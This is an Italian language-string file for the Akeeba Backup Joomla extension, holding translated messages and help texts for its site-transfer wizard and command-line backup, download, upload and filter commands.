COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGFRAG="Continuazione del caricamento della parte %s di %s dell'archivio. Elaborazione del blocco %s in corso. Attendere."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGPART="Caricamento della parte %s di %s dell'archivio. Attendere."
COM_AKEEBABACKUP_TRANSFER_TITLE="Trasferimento archivio"
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_BODY="Alcuni dei metodi di trasferimento elencati sopra e contrassegnati con &#128274; sono bloccati da un firewall sul server. Se vengono utilizzati, questa procedura guidata molto probabilmente non riuscirà. Contattare il provider e chiedere di disabilitare il firewall o aggiungere eccezioni prima di trasferire il sito. In alternativa, selezionare Manualmente in alto, fare clic su Procedi con il ripristino e seguire le istruzioni per un trasferimento manuale del sito."
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_HEAD="Il firewall del server blocca i trasferimenti di file - QUESTA PROCEDURA GUIDATA POTREBBE NON RIUSCIRE"

COM_AKEEBABACKUP_FILTER_SELECT_FROZEN="– Bloccato –"
COM_AKEEBABACKUP_FILTER_SELECT_PROFILEID="– Profilo di backup –"

COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE="Impossibile caricare il motore di Akeeba Backup."

COM_AKEEBABACKUP_CLI_ERR_CANNOT_GENERATE_YAML="Impossibile generare YAML"
COM_AKEEBABACKUP_CLI_ERR_YAML_EXTENSION_NOT_FOUND="L'installazione PHP non dispone dell'estensione PHP YAML installata o abilitata."
COM_AKEEBABACKUP_CLI_ERR_UNSET_TIME_LIMITS="Impossibile rimuovere le restrizioni sul limite di tempo; potrebbe verificarsi un errore di timeout."
COM_AKEEBABACKUP_CLI_ERR_NO_LIVE_SITE="Questo script non è riuscito a rilevare l'URL del sito live. Visitare almeno una volta la pagina del Pannello di controllo di Akeeba Backup prima di eseguire questo script, in modo che queste informazioni possano essere archiviate per essere utilizzate dallo script."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_DISABLED="La funzione di backup front-end dell'installazione di Akeeba Backup è attualmente disabilitata. Accedere al back-end del sito come Super Utente, andare al Pannello di controllo di Akeeba Backup, fare clic sull'icona Opzioni nell'angolo in alto a destra e abilitare la funzione di backup front-end. Non dimenticare di impostare anche una Parola segreta!"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOSECRET="La funzione di backup front-end è stata abilitata, ma non è stata impostata una parola segreta. Senza una parola segreta valida questo script non può continuare. Accedere al back-end del sito come Super Amministratore, andare al Pannello di controllo di Akeeba Backup, fare clic sull'icona Opzioni nell'angolo in alto a destra e impostare una Parola segreta."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOMETHOD="Impossibile trovare alcun metodo supportato per eseguire la funzione di backup front-end di Akeeba Backup. Verificare con il provider che almeno una delle seguenti funzionalità sia supportata nella configurazione PHP:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NOMETHOD="Impossibile trovare alcun metodo supportato per eseguire la funzione di controllo backup falliti front-end di Akeeba Backup. Verificare con il provider che almeno una delle seguenti funzionalità sia supportata nella configurazione PHP:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_CURL="1. L'estensione cURL"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_FOPEN="2. I wrapper URL di fopen(), ovvero allow_url_fopen è abilitato"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_METHOD_NOMETHOD="Se nessuno dei metodi è disponibile, non sarà possibile eseguire il backup del sito utilizzando questo comando CLI."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_METHOD_NOMETHOD="Se nessuno dei metodi è disponibile, non sarà possibile verificare i backup falliti del sito utilizzando questo comando CLI."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_HTTP_ERROR="Il tentativo di backup non è riuscito con il codice di errore HTTP %d (%s). Controllare il registro di backup e il registro degli errori del server per ulteriori informazioni."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_HTTP_ERROR="Il tentativo di controllo backup falliti non è riuscito con il codice di errore HTTP %d (%s). Controllare il registro degli errori del server per ulteriori informazioni."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NO_MESSAGE_FROM_SERVER="Il tentativo di backup è scaduto, oppure si è verificato un errore PHP fatale. Controllare il registro di backup e il registro degli errori del server per ulteriori informazioni."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NO_MESSAGE_FROM_SERVER="Il tentativo di verifica dei backup falliti è scaduto, oppure si è verificato un errore PHP fatale."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR_RECEIVED="Si è verificato un errore di backup. La risposta del server è stata:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_ERROR_RECEIVED="Si è verificato un errore durante il controllo dei backup falliti. La risposta del server è stata:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR403_RECEIVED="Il server ha rifiutato la connessione. Assicurarsi che la funzione di backup front-end sia abilitata e che sia impostata una parola segreta valida."
COM_AKEEBABACKUP_CLI_ERR_SERVER_RESPONSE="Risposta del server:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE="Impossibile interpretare la risposta del server. Molto probabilmente si è verificato un errore di backup. La risposta del server è stata:"
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE="Impossibile interpretare la risposta del server. Molto probabilmente si è verificato un errore durante il controllo dei backup falliti. La risposta del server è stata:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE_INFO="Se non viene visualizzato "200 OK" alla fine di questo output, il backup non è riuscito."
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE_INFO="Se non viene visualizzato "200 OK" alla fine di questo output, il controllo dei backup falliti non è riuscito."

COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_HELP="<info>%command.name%</info> verificherà i tentativi di backup falliti con Akeeba Backup, utilizzando la funzione front-end.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_DESC="Verifica i backup falliti di Akeeba Backup tramite la funzione front-end"

COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_HELP="<info>%command.name%</info> verificherà i backup di Akeeba Backup il cui caricamento nell'archiviazione remota non è riuscito, utilizzando la funzione front-end.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_DESC="Verifica i backup di Akeeba Backup il cui caricamento nell'archiviazione remota non è riuscito, tramite la funzione front-end"

COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_HELP="<info>%command.name%</info> eseguirà un backup con Akeeba Backup, utilizzando la funzione di backup front-end.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_DESC="Esegue un backup con la funzione di backup front-end di Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_OPT_PROFILE="Numero del profilo"
COM_AKEEBABACKUP_CLI_HEAD_BACKUP_ALTERNATE="Esecuzione di un backup con la funzione di backup front-end di Akeeba Backup"

COM_AKEEBABACKUP_CLI_HEAD_CHECK_ALTERNATE="Verifica dei tentativi di backup falliti eseguiti con Akeeba Backup tramite la funzione front-end"

COM_AKEEBABACKUP_CLI_LBL_UNSET_TIME_LIMITS="Rimozione delle restrizioni sul limite di tempo"
COM_AKEEBABACKUP_CLI_LBL_START_BACKUP_WITH_PROFILE="Avvio di un backup con il profilo di backup #%d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_BACKUP="[%s] Inizio backup"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_CHECK="[%s] Avvio della verifica dei backup falliti"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_UPLOADCHECK="[%s] Avvio della verifica dei caricamenti falliti"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_RECEIVED_HTTP="[%s] Ricevuto HTTP %d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_NO_MESSAGE="[%s] Nessun messaggio ricevuto"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_PROGRESS_RECEIVED="[%s] Segnale di avanzamento backup ricevuto"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_FINALISATION_RECEIVED="[%s] Messaggio di finalizzazione backup ricevuto"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CHECKS_FINALISATION_RECEIVED="[%s] Messaggio di finalizzazione verifiche ricevuto"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR500_RECEIVED="[%s] Segnale di errore ricevuto"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR403_RECEIVED="[%s] Connessione negata (403) messaggio ricevuto"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CORRUPT="[%s] Impossibile analizzare la risposta del server."

COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_HEAD="Il backup è stato completato correttamente."
COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_DETAILS="Esaminare il file di registro del backup per eventuali messaggi di avviso. Se vengono visualizzati tali messaggi, assicurarsi che il backup funzioni correttamente provando a ripristinarlo su un server locale."

COM_AKEEBABACKUP_CLI_LBL_FECHECK_FINISH_HEAD="Le verifiche sono state completate correttamente."

COM_AKEEBABACKUP_CLI_HEAD_CHECK="Verifica dei tentativi di backup falliti eseguiti con Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_HELP="<info>%command.name%</info> verificherà i tentativi di backup falliti eseguiti con Akeeba Backup\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_DESC="Verifica i tentativi di backup falliti di Akeeba Backup"

COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD_ALTERNATE="Verifica dei backup di Akeeba Backup il cui caricamento nell'archiviazione remota non è riuscito tramite la funzione front-end"
COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD="Verifica dei backup di Akeeba Backup il cui caricamento nell'archiviazione remota non è riuscito"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_HELP="<info>%command.name%</info> verificherà i backup eseguiti con Akeeba Backup il cui caricamento nell'archiviazione remota non è riuscito.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_DESC="Verifica i backup di Akeeba Backup il cui caricamento non è riuscito"

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DELETE="Eliminazione del record di backup Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE_FILES="I file del record di backup #%d sono stati eliminati."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE="Il record di backup #%d è stato eliminato."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE_FILES="Impossibile eliminare i file del record di backup #%d: %s"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE="Impossibile eliminare il record di backup #%d: %s"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_HELP="<info>%command.name%</info> eliminerà un record di backup noto ad Akeeba Backup, o solo i suoi file\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_DESC="Elimina un record di backup noto ad Akeeba Backup, o solo i suoi file"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ID="L'id del record di backup da eliminare"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ONLY_FILES="Elimina solo i file di backup archiviati sul server del sito, non il record stesso."

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DOWNLOAD="Recupero della parte #%d del record di backup Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES="Il record di backup '%s' non ha file disponibili per il download. Li hai già eliminati?"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES_MAYBE_REMOTE="Il record di backup '%s' non dispone di file scaricabili dal server. Se sono archiviati in remoto potrebbe essere necessario usare prima il comando fetch."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_OUT_OF_RANGE="Non esiste la parte '%s' del record di backup '%s'."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_MISSING="Impossibile trovare la parte '%s' del record di backup '%s' sul server."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNREADABLE="Impossibile aprire '%s' in lettura. Verificare i permessi / ACL del file."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNWRITEABLE="Impossibile aprire '%s' in scrittura. Verificare che la cartella esista e controllare i permessi / ACL sia della cartella contenitore sia del file."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DOWNLOAD_DONE="Scaricata la parte %d del record di backup #%d nel file %s"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_HELP="<info>%command.name%</info> produrrà in output o scriverà un file con una parte dell'archivio di backup di un record di backup noto ad Akeeba Backup\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_DESC="Restituisce una parte dell'archivio di backup per un record di backup noto ad Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_ID="L'ID del record di backup di cui recuperare gli archivi"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_PART="Il numero di parte dell'archivio di backup da recuperare"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_FILE="Percorso del file in cui scrivere. Verrà inviato a STDOUT se non definito."

COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HEAD="Recupero dei file archiviati in remoto per il record Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_SECTION_DOWNLOADING="Scaricamento dell'archivio di backup per il backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_PART_FRAG="File parte: %d, frammento file: %d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_FINISHED="Il recupero dei file del record di backup '%s' è terminato."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_ERR_FAILED="Il recupero dei file del record di backup '%s' non è riuscito."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HELP="<info>%command.name%</info> scaricherà gli archivi di backup di un backup noto ad Akeeba Backup dall'archivio remoto al server.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_DESC="Scarica un backup dall'archivio remoto al server"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_OPT_ID="L'ID del record di backup da recuperare"

COM_AKEEBABACKUP_CLI_BACKUP_INFO_HEAD="Informazioni per il record Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_HELP="<info>%command.name%</info> elencherà un record di backup noto ad Akeeba Backup\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_DESC="Elenca un record di backup noto ad Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_ID="L'ID del record di backup da elencare"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_FORMAT="Formato di output: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_BACKUP_LIST_HEAD="Elenco dei record Akeeba Backup corrispondenti ai criteri specificati"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_HELP="<info>%command.name%</info> elencherà i record di backup noti ad Akeeba Backup\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_DESC="Elenca i record di backup noti ad Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FROM="Quanti record di backup saltare prima di iniziare l'output."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_LIMIT="Numero massimo di record di backup da visualizzare."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FORMAT="Formato di output: table, json, yaml, csv, count."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_DESCRIPTION="I record di backup elencati devono corrispondere a questa descrizione (parziale)."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_AFTER="Elenca i record di backup eseguiti dopo questa data."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_BEFORE="Elenca i record di backup eseguiti prima di questa data."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_ORIGIN="Elenca solo i backup provenienti da questa origine: backend, frontend, json, cli."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_PROFILE="Elenca i backup eseguiti con questo profilo. Fornire l'ID numerico del profilo."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_BY="Ordina l'output in base alla colonna specificata: id, description, profile_id, backupstart"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_ORDER="Ordinamento: asc, desc."

COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HEAD="Modifica del record Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HELP="<info>%command.name%</info> modificherà un record di backup noto ad Akeeba Backup\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_DESC="Modifica un record di backup noto ad Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_DESC_AND_COMMENT_REQUIRED="È necessario specificare uno o entrambi i parametri --description e --comment"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_CANNOT_MODIFY="Impossibile modificare il record di backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_LBL_MODIFIED="Il record di backup #%d è stato modificato."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_ID="L'ID del record di backup da modificare"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_DESCRIPTION="Cambia la descrizione breve con questo valore."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_COMMENT="Cambia il commento del backup con questo valore (accetta HTML)."

COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HEAD="Esecuzione di un backup con Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_SECTION_START="Avvio del backup con il profilo #%s."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_LASTTICK="Ultimo tick    : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_DOMAIN="Dominio        : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_STEP="Passaggio      : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_SUBSTEP="Sottopassaggio : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_PROGRESS="Avanzamento    : %1.2f%%"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_MEMORY="Memoria usata  : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_PEAKMEM="Picco di memoria usata : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_TOTALTILE="Il ciclo di backup è terminato dopo %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE_WITH_WARNINGS="Il processo di backup è ora completato con avvisi."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE="Il processo di backup è ora completato."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HELP="<info>%command.name%</info> eseguirà un backup con Akeeba Backup\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_DESC="Esegui un backup con Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_PROFILE="Numero di profilo"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_DESCRIPTION="Descrizione breve per il record di backup, accetta le variabili standard di denominazione degli archivi di Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_COMMENT="Commento esteso per il record di backup, fornirlo in HTML"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_OVERRIDES="Imposta le sostituzioni di configurazione nel formato \"key1=value1,key2=value2\""

COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HEAD="Nuovo caricamento del record Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_PROGRESS="Tentativo di nuovo caricamento del record di backup '%s', file parte #%s, frammento #%s. L'operazione potrebbe richiedere del tempo."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_COMPLETE="Il nuovo caricamento del record di backup '%s' è completato."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_ERR_FAILED="Il nuovo caricamento del record di backup '%s' non è riuscito."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HELP="<info>%command.name%</info> ritenterà il caricamento di un backup noto ad Akeeba Backup nell'archivio remoto.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_DESC="Riprova il caricamento di un backup nell'archivio remoto"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_OPT_ID="L'ID del record di backup da caricare"

COM_AKEEBABACKUP_CLI_FILTER_DELETE_HEAD="Eliminazione del filtro %s \"%s\" di tipo %s dal profilo #%d"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_DATABASE="database"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_FILESYSTEM="filesystem"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_UNKNOWN_ROOT="Radice %s '%s' sconosciuta."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ONLY_PRO="I filtri di tipo '%s' sono disponibili solo con Akeeba Backup Professional."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_FAILED="Impossibile eliminare il filtro '%s' di tipo '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_LBL_DELETED="Filtro '%s' di tipo '%s' eliminato."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_HELP="<info>%command.name%</info> eliminerà un valore di filtro noto ad Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_DESC="Elimina un valore di filtro noto ad Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTER="Il nome del filtro da eliminare"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_ROOT="La radice del filtro da utilizzare. Predefinita su [SITEROOT] o [SITEDB] in base al tipo di filtro."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTERTYPE="Il tipo di filtro che vuoi eliminare: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata, extradirs, multidb"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_PROFILE="Il profilo di backup da utilizzare. Predefinito: 1."

COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HEAD="Aggiunta del filtro %s "%s" di tipo %s al profilo #%d"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_ERR_FAILED="Impossibile aggiungere il filtro '%s' di tipo '%s'."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_LBL_SUCCESS="Filtro '%s' di tipo '%s' aggiunto."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HELP="<info>%command.name%</info> imposterà un filtro di esclusione di file, cartelle o tabelle su Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_DESC="Imposta un filtro di esclusione su Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTER="La destinazione del filtro da aggiungere. Questo è il percorso completo a un file/directory, un nome di tabella o un'espressione regolare, a seconda del tipo di filtro."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_ROOT="Quale radice del filtro utilizzare. Il valore predefinito è [SITEROOT] o [SITEDB] a seconda del tipo di filtro."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTERTYPE="Il tipo di filtro che si desidera aggiungere: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_PROFILE="Il profilo di backup da utilizzare. Predefinito: 1."

COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_NEED_PRO="Questa funzionalità richiede Akeeba Backup Professional"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_ALREADY_EXISTS="Il database '%s' è già incluso. Eliminare il vecchio filtro di inclusione prima di provare ad aggiungere nuovamente il database."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_CANNOT_CONNECT="Impossibile connettersi al database '%s'. Il server ha segnalato '%s'. Utilizzare l'opzione --no-check per continuare comunque, ma tenere presente che il backup probabilmente risulterà in un errore."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_FAILED="Impossibile includere il database '%s'."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_LBL_ADDED="Database '%s' aggiunto."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_HELP="<info>%command.name%</info> aggiungerà un database aggiuntivo di cui eseguire il backup con Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_DESC="Aggiunge un database aggiuntivo di cui eseguire il backup con Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_PROFILE="Il profilo di backup da utilizzare. Predefinito: 1."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBDRIVER="Il driver del database da utilizzare: mysqli, pdomysql"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPORT="La porta del server del database. Omettere per utilizzare il valore predefinito del driver."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBUSERNAME="Il nome utente per la connessione al database."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPASSWORD="La password per la connessione al database."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBNAME="Il nome del database."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPREFIX="Il prefisso comune dei nomi delle tabelle del database, consente di modificarlo durante il ripristino."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_CHECK="Verifica la connessione al database prima di aggiungere il filtro."

COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_EXISTS="La directory '%s' è già inclusa con radice '%s'. Eliminare il vecchio filtro di inclusione prima di provare ad aggiungere nuovamente la directory."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_FAILED="Impossibile aggiungere la directory '%s'."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_LBL_SUCCESS="Directory '%s' aggiunta."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_HELP="<info>%command.name%</info> aggiungerà una directory esterna aggiuntiva di cui eseguire il backup con Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_DESC="Aggiunge una directory esterna aggiuntiva di cui eseguire il backup con Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_PROFILE="Il profilo di backup da utilizzare. Predefinito: 1."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_DIRECTORY="Percorso completo della directory esterna da aggiungere al backup."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_VIRTUAL="La sottocartella all'interno dell'archivio di backup in cui verranno archiviati questi file. È una sottocartella della "directory virtuale" il cui nome è impostato nella pagina Configurazione. Omettere per determinare automaticamente."

COM_AKEEBABACKUP_CLI_FILTER_LIST_TITLE="Elenco dei filtri di Akeeba Backup corrispondenti ai criteri specificati"
COM_AKEEBABACKUP_CLI_FILTER_LIST_HELP="<info>%command.name%</info> elencherà i valori dei filtri per un profilo di Akeeba Backup.\nUtilizzo: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_LIST_DESC="Ottieni i valori dei filtri noti ad Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_ROOT="Quale radice del filtro utilizzare. Il valore predefinito è [SITEROOT] o [SITEDB] a seconda dell'opzione --target. Ignorato per --type=include. Suggerimento: le radici del filesystem e del database sono la colonna "filter" per --type=include. Esistono due radici speciali, [SITEROOT] (la radice del filesystem del sito Joomla) e [SITEDB] (il database principale del sito Joomla)."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_PROFILE="Il profilo di backup da utilizzare. Predefinito: 1."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TARGET="La destinazione dei filtri che si desidera elencare: fs (file e cartelle) o db (database)"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TYPE="Il tipo di filtri che si desidera elencare: exclude, include o regex"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_FORMAT="Formato di output: table, json, yaml, csv, count."

